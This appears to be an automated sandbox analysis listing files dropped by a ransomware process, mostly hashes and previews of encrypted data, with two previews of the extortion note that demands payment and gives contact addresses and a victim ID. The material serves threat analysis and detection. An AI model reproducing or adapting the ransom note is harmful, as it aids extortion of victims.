                                                                                                                                        Preview:.={.E...a...q..H/.xl....I...mo%,;C..\.l.:..P@...N....6....-.,$..@.%}...I..|..M.{.\.n,~U....w...\..a..0.G.6..K.V.lNp.\..;4.59.B.....o..._.=..>.:d.L........s.-...U....$3.,C.x.r*t.Xt`.z...D+.7.8..&}.....2.Y...X...`W.7...??.`.d.$z..Hx.-.7.ykz...........].'E*...D...?0x.ir..SF.6...z."..g#...pK".A..\..k._.w|JA.iE.....F..........NIty..G.d...Z|0.._..l....+qx.v|L.Z......C......^.[.)^.#P!.n+.....T..~..k..;....%b@..L'.....\.F...~.....BB.&.Ez...z.*.QC......b.}..IEY..lK.....n.b._.....B..&..@#z.;D:+o'O.Y.kh.Ws}......2g .W#(....*... .G.P.........x...z2.S......Rq..9-..Q....ok.].p..&...Q.+!.h.a....=`..a....yvT.@G+.T...l......CE<Q...^....w\c...*K..e.L..Q.......j;<...I....qm...O..F.$E...R[G.(..+.i..K.....t..!..@.::./.....).......d...6.m..!...P.'...!-..&..)..\.dg6.c.......=KP..........).._...{^_.F.......e.%.!R!...^s.l......... WAe.....fi)....$.V..g.v....vVc..\.....5m[..,......Y.....PF._..0.a.m..z.......,..Px......1..+-.(......8*..Z.Q6....}.A.y...~.....K...o..(.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.84651162257851
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:5LXDheph43qHXZOKeY2dqSmInIVoytNCaUr8HHdmsdpd1Jc5XrPNjS:VXDgL4a3Z8Y2dqSmInNyjUr8HHAsHdIY
                                                                                                                                        MD5:7643CB48286DF5C7299EAF05EF287521
                                                                                                                                        SHA1:3406A73300DC61FB1B115049CD6F3E4BED8A8215
                                                                                                                                        SHA-256:DFCCDF284BC1DD0B9F89519B198782B7F721BD1BB26DD2C831A72176ED3F20A6
                                                                                                                                        SHA-512:FF9481E859DAC748ADD7735FF777CEC8186201C05E1A13911C0D9597E214ABE28299624C50642B08C61FB07FA2A2CA6D4BF0025EBA8396810D14E1A7F22CA952
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.={.E...a...q..H/.xl....I...mo%,;C..\.l.:..P@...N....6....-.,$..@.%}...I..|..M.{.\.n,~U....w...\..a..0.G.6..K.V.lNp.\..;4.59.B.....o..._.=..>.:d.L........s.-...U....$3.,C.x.r*t.Xt`.z...D+.7.8..&}.....2.Y...X...`W.7...??.`.d.$z..Hx.-.7.ykz...........].'E*...D...?0x.ir..SF.6...z."..g#...pK".A..\..k._.w|JA.iE.....F..........NIty..G.d...Z|0.._..l....+qx.v|L.Z......C......^.[.)^.#P!.n+.....T..~..k..;....%b@..L'.....\.F...~.....BB.&.Ez...z.*.QC......b.}..IEY..lK.....n.b._.....B..&..@#z.;D:+o'O.Y.kh.Ws}......2g .W#(....*... .G.P.........x...z2.S......Rq..9-..Q....ok.].p..&...Q.+!.h.a....=`..a....yvT.@G+.T...l......CE<Q...^....w\c...*K..e.L..Q.......j;<...I....qm...O..F.$E...R[G.(..+.i..K.....t..!..@.::./.....).......d...6.m..!...P.'...!-..&..)..\.dg6.c.......=KP..........).._...{^_.F.......e.%.!R!...^s.l......... WAe.....fi)....$.V..g.v....vVc..\.....5m[..,......Y.....PF._..0.a.m..z.......,..Px......1..+-.(......8*..Z.Q6....}.A.y...~.....K...o..(.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.830734359637309
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:bJubCRZpBpaTJMEbNd1eE0wyDSMEL+9XBNegi+6:lvRZpBpOJM41e1jI+1BN9iV
                                                                                                                                        MD5:7E1AF2B76FC91AF744DE4F4AEE8F92AF
                                                                                                                                        SHA1:0E66581D5F1B11CB0FC28163B575E2EC67664752
                                                                                                                                        SHA-256:83ACC8D3AE1BA477A1D8DB2451E5A128A3C5BAA9EDDCAAB742C60CA4242404B0
                                                                                                                                        SHA-512:22BB9D9DC4A1C5C4D628CEB5819D603637BDC5673324A367DAAF19274F87A104A0EADFD51105777EB71EC2EA235C90B17856DD7A8FF6FF6A8EA8124B6F5FF9A6
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:_*.Ff.m.O3(..1......%.......v.{.Rt.*...o.F#d.WD..1.....yS.57.n.jo._.u4Gh.......%.K..J6...C<O)..V4...^|i....R9.'.ME.........%......y...L...."O.iC8.<.Mr..;.....7..(3z.@.....He..t[....'....3.....P.&.f..7m`..b..rs.<*...A....Vo........?t.g.S.D.O=`....2zCu..29.N.....7.dBlb.."R.oq..?..|X.+Y....<.............T........,M.e..Ms4_........n.1,;Qg.n`.......$..>..>;@..N.D........?..........B.i...8_......4...z..H$.O."........i7.Q?...Em....q.6..%.'.#..,..N..h..6.H.o.^..0.`X.%.z}.D0.......;gD<.|.........I.cuIZ..=o;F.p....0...P.x.....S....>pgub.xx;S.06.i..pn"...ic..V....~Z............|.qI..Ec.9.v.`Q.J.l.$..2......{B..B..%..&..+......yK.d..k...'.......A...q.2._I..O..p.^...(......:0p...+:.....r..v.N~Q>..%..#...[1X..Vxu<..S.....v.[k....e2...0...^.....v...bR.v!......|<t...`..V.....BA.1=[....^...$......1K..hp...!...@V^.^.6.p.q\J-..7j...d.d...... ...v`eY./>qv(.v.grj.....!..O...+E.A._.:.^\.Ep#.L@j.*...4.....5......M..E.............n<3......\...stT*#.j14.:g..q..h
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.830734359637309
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:bJubCRZpBpaTJMEbNd1eE0wyDSMEL+9XBNegi+6:lvRZpBpOJM41e1jI+1BN9iV
                                                                                                                                        MD5:7E1AF2B76FC91AF744DE4F4AEE8F92AF
                                                                                                                                        SHA1:0E66581D5F1B11CB0FC28163B575E2EC67664752
                                                                                                                                        SHA-256:83ACC8D3AE1BA477A1D8DB2451E5A128A3C5BAA9EDDCAAB742C60CA4242404B0
                                                                                                                                        SHA-512:22BB9D9DC4A1C5C4D628CEB5819D603637BDC5673324A367DAAF19274F87A104A0EADFD51105777EB71EC2EA235C90B17856DD7A8FF6FF6A8EA8124B6F5FF9A6
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:_*.Ff.m.O3(..1......%.......v.{.Rt.*...o.F#d.WD..1.....yS.57.n.jo._.u4Gh.......%.K..J6...C<O)..V4...^|i....R9.'.ME.........%......y...L...."O.iC8.<.Mr..;.....7..(3z.@.....He..t[....'....3.....P.&.f..7m`..b..rs.<*...A....Vo........?t.g.S.D.O=`....2zCu..29.N.....7.dBlb.."R.oq..?..|X.+Y....<.............T........,M.e..Ms4_........n.1,;Qg.n`.......$..>..>;@..N.D........?..........B.i...8_......4...z..H$.O."........i7.Q?...Em....q.6..%.'.#..,..N..h..6.H.o.^..0.`X.%.z}.D0.......;gD<.|.........I.cuIZ..=o;F.p....0...P.x.....S....>pgub.xx;S.06.i..pn"...ic..V....~Z............|.qI..Ec.9.v.`Q.J.l.$..2......{B..B..%..&..+......yK.d..k...'.......A...q.2._I..O..p.^...(......:0p...+:.....r..v.N~Q>..%..#...[1X..Vxu<..S.....v.[k....e2...0...^.....v...bR.v!......|<t...`..V.....BA.1=[....^...$......1K..hp...!...@V^.^.6.p.q\J-..7j...d.d...... ...v`eY./>qv(.v.grj.....!..O...+E.A._.:.^\.Ep#.L@j.*...4.....5......M..E.............n<3......\...stT*#.j14.:g..q..h
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.848549655578928
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:shwZhmgMLkBX4Rx059tTjnnE4Y+7bXMJsNnvCi59XOCAyo2KmLGO+pjO:EWmgEkl4f05nvnE4Y+7bXMJsJvRZAF21
                                                                                                                                        MD5:592F59796E0319236563E41258A2B9D6
                                                                                                                                        SHA1:C916751D70042C71B8D8F5CC1E6E640AA02E5FDE
                                                                                                                                        SHA-256:CF780570E7A5C3EAD2DD3B69551C30E0550B76116C0685D29C8B417607FAED71
                                                                                                                                        SHA-512:EFCE90D1320DC763C00F04C0C797172358F82E28E6F785B0057FA404C16B2B73EF172EB7F07D015CF0430BA54C1156AA3CCC2CD947B85116016009A08A70B2FD
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....yN.\...f..b.^.:.d|M...lKU..VuEjg...l..`...........J.Bf.#d;...[..G.DE.|....~....D.K.*F.....]....3..O_............[..8..#x.]...9[,..s..f)....6.OZ9d.b....Y..e..X.}.../^v..fd....:`.<........R..k.R...o>.@V......J..B..]...%..""u.H..s....RpCW&.S..r|....zz.z...j/Y...Z..x.a...P>...6..$.A$.....j.CmD....<......V.oz.q.........L`~j.g9.*..j/;.........nE..#.n..;...`....H.....(....).....y.GF....j..6Lg5fH.{.|.9}.Rv......_)IS"+.$R....P.v.7....7..._...."bC....2...g..Jq.....Z...%.?.X..a.ma..?6..(yogW.$.W......T.mR7yH.._E..Q.fK...V.......+...Z.>.../.W7)F.....6e...)=.&...%........|...t.......M.ss.z.<...^..;...G.I....&........I.E.Q.a.X....z.l...V9|.....}../..Q...f.e...."^...]...?.AD*....]+....#E?..C...tD...Y....w.y*...l....<..1=......a..hy.i..rS z.? <...$....K.::X.~...j7\.D.v...vr.jN....s.../...e^..`.E.vh.?K. 5..N.A.+K...n...3.%.....F/.:.p5.>On...|J.....h..>`2..~Q.......e..&...w)....@..7.YqDC.gZ..ll...p...i...8..h....G~...G.\,...d..Q...v.F...|..&."J..>.O.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.848549655578928
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:shwZhmgMLkBX4Rx059tTjnnE4Y+7bXMJsNnvCi59XOCAyo2KmLGO+pjO:EWmgEkl4f05nvnE4Y+7bXMJsJvRZAF21
                                                                                                                                        MD5:592F59796E0319236563E41258A2B9D6
                                                                                                                                        SHA1:C916751D70042C71B8D8F5CC1E6E640AA02E5FDE
                                                                                                                                        SHA-256:CF780570E7A5C3EAD2DD3B69551C30E0550B76116C0685D29C8B417607FAED71
                                                                                                                                        SHA-512:EFCE90D1320DC763C00F04C0C797172358F82E28E6F785B0057FA404C16B2B73EF172EB7F07D015CF0430BA54C1156AA3CCC2CD947B85116016009A08A70B2FD
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....yN.\...f..b.^.:.d|M...lKU..VuEjg...l..`...........J.Bf.#d;...[..G.DE.|....~....D.K.*F.....]....3..O_............[..8..#x.]...9[,..s..f)....6.OZ9d.b....Y..e..X.}.../^v..fd....:`.<........R..k.R...o>.@V......J..B..]...%..""u.H..s....RpCW&.S..r|....zz.z...j/Y...Z..x.a...P>...6..$.A$.....j.CmD....<......V.oz.q.........L`~j.g9.*..j/;.........nE..#.n..;...`....H.....(....).....y.GF....j..6Lg5fH.{.|.9}.Rv......_)IS"+.$R....P.v.7....7..._...."bC....2...g..Jq.....Z...%.?.X..a.ma..?6..(yogW.$.W......T.mR7yH.._E..Q.fK...V.......+...Z.>.../.W7)F.....6e...)=.&...%........|...t.......M.ss.z.<...^..;...G.I....&........I.E.Q.a.X....z.l...V9|.....}../..Q...f.e...."^...]...?.AD*....]+....#E?..C...tD...Y....w.y*...l....<..1=......a..hy.i..rS z.? <...$....K.::X.~...j7\.D.v...vr.jN....s.../...e^..`.E.vh.?K. 5..N.A.+K...n...3.%.....F/.:.p5.>On...|J.....h..>`2..~Q.......e..&...w)....@..7.YqDC.gZ..ll...p...i...8..h....G~...G.\,...d..Q...v.F...|..&."J..>.O.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.851509428693996
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:7mZNdkuuFsOjmLBuih9CJAdzuTuTo/FxCsvsCjTRZ9GmWcsubr5qh:0dkuhOCbh9CJ2uTUoN8stdzGmH8
                                                                                                                                        MD5:CF001C2AEB43B739AC0F4C34575FEF32
                                                                                                                                        SHA1:0BC5407B848FC2255F19472C640DD57E0310E1D0
                                                                                                                                        SHA-256:D5F2D3FD6AABA4E99016EA8FA56EA4D43839A1C5E02EA4A0B21ECD4210C27416
                                                                                                                                        SHA-512:3EDA8499F8E94AEBA9CA0780C60F9D2E6A68BD2EAE68CC2516928699C3E725A39BDBFBCF55911DCD71D3CF89270CB728726E517A658403DCA6980A74FC57C7BF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.I.zN..|..xu..... ...GSgU1....).~p...V..^.ke.B`po...wJX.*SwCt....y..n....l...3".<h..t.`z.2.=....ht.U:.`Bq..0.Y#..a7....=..B.C.q.I3.~|8..F..f..R(s.q.....@../.6..;.>..K..!..]1...].\..}<F~..8.....!..#.x...!+..-..1.u...fU....4..+?.......QW..Cz...<?.3...s....Y:.....&...M........U.q..&.-e.C.c....(B...4.o..T...Y]q..aV..n...2J.......G..y.._.r.LNq....(....,.......px...........>z.Z,6..('?8..MKC..X4.t ..v...8...>..*r9}.erD...3..2.!..P..q..f.vK..........YuI{.03...c......b1E.....]=........2U....... F..~......g...X..A...b...#5..}...e>2"..{. ........Q._.%..v..<..y.i..a..]6..M.3...Q..<.R..A........^.Hg=...Q=..q..q...rm.s..`.....V4...}..Q...../.M.=Ta......o..]..p...2.Yf...j..@..gh..a..2.x1:...~V.g'....:.-Eu..].1....G.]"8.h..{d.N.%.Z....mT......4.x._3.@....!_.M..;....QJ,<h...1...W.[.o?....v.5.!.[....Ueo...8y.9.......(=..7...../AY.-k......'..tv.DX.J.V.g..B.........;S...&..G5qu....9J.:..[.t.1.qd.JlD..VV..6.D.dE..(.J.....6.0......7p..b<..q\.........O.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.851509428693996
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:7mZNdkuuFsOjmLBuih9CJAdzuTuTo/FxCsvsCjTRZ9GmWcsubr5qh:0dkuhOCbh9CJ2uTUoN8stdzGmH8
                                                                                                                                        MD5:CF001C2AEB43B739AC0F4C34575FEF32
                                                                                                                                        SHA1:0BC5407B848FC2255F19472C640DD57E0310E1D0
                                                                                                                                        SHA-256:D5F2D3FD6AABA4E99016EA8FA56EA4D43839A1C5E02EA4A0B21ECD4210C27416
                                                                                                                                        SHA-512:3EDA8499F8E94AEBA9CA0780C60F9D2E6A68BD2EAE68CC2516928699C3E725A39BDBFBCF55911DCD71D3CF89270CB728726E517A658403DCA6980A74FC57C7BF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.I.zN..|..xu..... ...GSgU1....).~p...V..^.ke.B`po...wJX.*SwCt....y..n....l...3".<h..t.`z.2.=....ht.U:.`Bq..0.Y#..a7....=..B.C.q.I3.~|8..F..f..R(s.q.....@../.6..;.>..K..!..]1...].\..}<F~..8.....!..#.x...!+..-..1.u...fU....4..+?.......QW..Cz...<?.3...s....Y:.....&...M........U.q..&.-e.C.c....(B...4.o..T...Y]q..aV..n...2J.......G..y.._.r.LNq....(....,.......px...........>z.Z,6..('?8..MKC..X4.t ..v...8...>..*r9}.erD...3..2.!..P..q..f.vK..........YuI{.03...c......b1E.....]=........2U....... F..~......g...X..A...b...#5..}...e>2"..{. ........Q._.%..v..<..y.i..a..]6..M.3...Q..<.R..A........^.Hg=...Q=..q..q...rm.s..`.....V4...}..Q...../.M.=Ta......o..]..p...2.Yf...j..@..gh..a..2.x1:...~V.g'....:.-Eu..].1....G.]"8.h..{d.N.%.Z....mT......4.x._3.@....!_.M..;....QJ,<h...1...W.[.o?....v.5.!.[....Ueo...8y.9.......(=..7...../AY.-k......'..tv.DX.J.V.g..B.........;S...&..G5qu....9J.:..[.t.1.qd.JlD..VV..6.D.dE..(.J.....6.0......7p..b<..q\.........O.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.838079273911239
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:5c4JsyQxcBuWbssEmsPrORt/OEUp3aOA7lLSMc/QCTMbeYVBzIcZeZZ1m:eH4nssENPq72EUxeLSMqVMCYVBMcwm
                                                                                                                                        MD5:3FA67E49CA3914E48F49ACAEBF831D1D
                                                                                                                                        SHA1:2AA502F4688D02318AEE78DDC6B911C206CD8338
                                                                                                                                        SHA-256:639B2E7937C78AE1AA50AD7958D6004CCF5CD39A23EC3553174C8FB045FC9878
                                                                                                                                        SHA-512:A16142B3BFAB28582565D354BD6933CFFF83D4D0868D573CA7FD671033E3D828F89FDBFBDED09892F61ACA3C63F8FD3C8277019A2DF587BD35465BA3A5C4888B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:. .,..l.K...+`.!...V._.0.i=.D%Wu.5\.K..........g.r..z...S5..tie.V............s......R$r..D.R.l/.^:!#\.B.ukTVZ;.......#.=.o.^.6.}.R[)...R 7...XG......~...........Z.G.}..X..w.O...u=..XBL!..z.%v...M_>...3....:S..,...5.......<......aDMEK......r#.s.c0T;L.l...zVe.L.L....G....M....b..d..r...W.}q}.g....'J.a..A.?.f.5R.....2.Hy..'..\C...].g.[...a.d..G.n...V..O...... ..wA..45...a.&(.4.7hn7qB<......}`nU../_..k....7.......V.....a...W^.]Cq..1..k.sKTJ....+..y.?.........nt...ye...........c?.......zZ^.........h.Y...|G..,..M..N.......0.........e.M.=.8..B-.B.".x,.<...%...P.-4...0.....i.......%$c7......gO.R......s..........~..l2.....5.k.6.i?fL.(....&)..gk.....,.....W..).w.Z?..O..6.K.....X8-.......+..-Z.f...5w.7...5.':.?R...1O..4.^.....n........k.....Y>...I.......V..LH.w. Rj...B......9'_.ZO^.l.$a.Y.+..0X.....p..P......d.*...5.1.I..[....u..h$X....5_e.GV^am.2R..F.2.y*...9...2.s=jeL..R6+...*._S.]...@..1L..1~..9...o.y;F..h....T?R..pu..N.......R.6.pYx.x...h
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.838079273911239
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:5c4JsyQxcBuWbssEmsPrORt/OEUp3aOA7lLSMc/QCTMbeYVBzIcZeZZ1m:eH4nssENPq72EUxeLSMqVMCYVBMcwm
                                                                                                                                        MD5:3FA67E49CA3914E48F49ACAEBF831D1D
                                                                                                                                        SHA1:2AA502F4688D02318AEE78DDC6B911C206CD8338
                                                                                                                                        SHA-256:639B2E7937C78AE1AA50AD7958D6004CCF5CD39A23EC3553174C8FB045FC9878
                                                                                                                                        SHA-512:A16142B3BFAB28582565D354BD6933CFFF83D4D0868D573CA7FD671033E3D828F89FDBFBDED09892F61ACA3C63F8FD3C8277019A2DF587BD35465BA3A5C4888B
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:. .,..l.K...+`.!...V._.0.i=.D%Wu.5\.K..........g.r..z...S5..tie.V............s......R$r..D.R.l/.^:!#\.B.ukTVZ;.......#.=.o.^.6.}.R[)...R 7...XG......~...........Z.G.}..X..w.O...u=..XBL!..z.%v...M_>...3....:S..,...5.......<......aDMEK......r#.s.c0T;L.l...zVe.L.L....G....M....b..d..r...W.}q}.g....'J.a..A.?.f.5R.....2.Hy..'..\C...].g.[...a.d..G.n...V..O...... ..wA..45...a.&(.4.7hn7qB<......}`nU../_..k....7.......V.....a...W^.]Cq..1..k.sKTJ....+..y.?.........nt...ye...........c?.......zZ^.........h.Y...|G..,..M..N.......0.........e.M.=.8..B-.B.".x,.<...%...P.-4...0.....i.......%$c7......gO.R......s..........~..l2.....5.k.6.i?fL.(....&)..gk.....,.....W..).w.Z?..O..6.K.....X8-.......+..-Z.f...5w.7...5.':.?R...1O..4.^.....n........k.....Y>...I.......V..LH.w. Rj...B......9'_.ZO^.l.$a.Y.+..0X.....p..P......d.*...5.1.I..[....u..h$X....5_e.GV^am.2R..F.2.y*...9...2.s=jeL..R6+...*._S.]...@..1L..1~..9...o.y;F..h....T?R..pu..N.......R.6.pYx.x...h
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.831518043903483
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:t7udP0Dl6zApXHGe0M9MIQoC47279MPYwDhXjNZtq00bMmcm4bUnH:tJDUzAp3GeVSIz6790YwDhN0b54bUH
                                                                                                                                        MD5:A2246CC97CFC8E3102470FFB7A69C9BD
                                                                                                                                        SHA1:6D4431CA5CB9F42E26FA5131D18CC59ACC94954C
                                                                                                                                        SHA-256:0280AF78878A1EAA5D631D47C140B2CBB91B78DE4EDDCB096EF5056A5C75B577
                                                                                                                                        SHA-512:C6E80F77EB89E4620B3AA719F80AE44655D8464B039419D773B6B9FB3515C1F4BE400BCA1FBCDB833516146FC58B05D595B2E1BD64F7834242A1263D759EFFB3
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...3...(n.^.........#7x...`W;H......V...#J.b[.m.d.....o..o...T=}qc....i...B..XV...............Y.;.W&KWU.;....h.)^.H..'.....R..~.-@O...+...{... ..m"&1.~.|..7.m.$.[...7.9Y.q.@..;3U........c..&L?.;...7>.7%.:.Cx)W..q..XWu?.a6.........m.+.....e....*P..Q...x..NXk{2sl..Q...`*...8h...e...KE.\..~u.I.QK,`u.h..~|'.aF...4..Ju...N.E.i.q^.. CQ.v.j......Yb....3.R...h.A.....`.Ic[eu..Y=......R......[^....n..o.J.:.....C.j.y.?....^.C#.e..~...-&.:...uun...R.....&.&b....~..G.Bj..._.v.R...@...>.....g.:.Jgn....f<..s....B.8.5.~9F.W.....C........#J.N...o.y.Z.t{d4.:2m.^.E.}pGu..EE...6....^W}$.o..1.<U,shU.C...gb.5.....L6......d.!phK.}\..;...V/..}.....l]k........(BO.M..tM..F..8?.......}..7.......d3.iZ.+..:.z....X-F...2p...(....Z.D0......Y.........(.Gq...GZ....S.. \.`6.HJ.C.........(.h....8.[.[jM..s|.....k.D.....Y..n.3.w!.C.G...o.-Y.KZ\B|...%.?..k.%m;..b..G.D.b.c..nv..ux....p.P.E......hVw...c1.r.@......k.7....7 ..CI..W..".S..|>............j.]..Abs.X.....a......G..(<d...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.831518043903483
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:t7udP0Dl6zApXHGe0M9MIQoC47279MPYwDhXjNZtq00bMmcm4bUnH:tJDUzAp3GeVSIz6790YwDhN0b54bUH
                                                                                                                                        MD5:A2246CC97CFC8E3102470FFB7A69C9BD
                                                                                                                                        SHA1:6D4431CA5CB9F42E26FA5131D18CC59ACC94954C
                                                                                                                                        SHA-256:0280AF78878A1EAA5D631D47C140B2CBB91B78DE4EDDCB096EF5056A5C75B577
                                                                                                                                        SHA-512:C6E80F77EB89E4620B3AA719F80AE44655D8464B039419D773B6B9FB3515C1F4BE400BCA1FBCDB833516146FC58B05D595B2E1BD64F7834242A1263D759EFFB3
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...3...(n.^.........#7x...`W;H......V...#J.b[.m.d.....o..o...T=}qc....i...B..XV...............Y.;.W&KWU.;....h.)^.H..'.....R..~.-@O...+...{... ..m"&1.~.|..7.m.$.[...7.9Y.q.@..;3U........c..&L?.;...7>.7%.:.Cx)W..q..XWu?.a6.........m.+.....e....*P..Q...x..NXk{2sl..Q...`*...8h...e...KE.\..~u.I.QK,`u.h..~|'.aF...4..Ju...N.E.i.q^.. CQ.v.j......Yb....3.R...h.A.....`.Ic[eu..Y=......R......[^....n..o.J.:.....C.j.y.?....^.C#.e..~...-&.:...uun...R.....&.&b....~..G.Bj..._.v.R...@...>.....g.:.Jgn....f<..s....B.8.5.~9F.W.....C........#J.N...o.y.Z.t{d4.:2m.^.E.}pGu..EE...6....^W}$.o..1.<U,shU.C...gb.5.....L6......d.!phK.}\..;...V/..}.....l]k........(BO.M..tM..F..8?.......}..7.......d3.iZ.+..:.z....X-F...2p...(....Z.D0......Y.........(.Gq...GZ....S.. \.`6.HJ.C.........(.h....8.[.[jM..s|.....k.D.....Y..n.3.w!.C.G...o.-Y.KZ\B|...%.?..k.%m;..b..G.D.b.c..nv..ux....p.P.E......hVw...c1.r.@......k.7....7 ..CI..W..".S..|>............j.]..Abs.X.....a......G..(<d...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.840669477428166
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:p0UQs6B7eeCowsZZOjIoSExSZOcOyMdkqa5Sz9:O1sqypowsn6I/aQDOm1Mz9
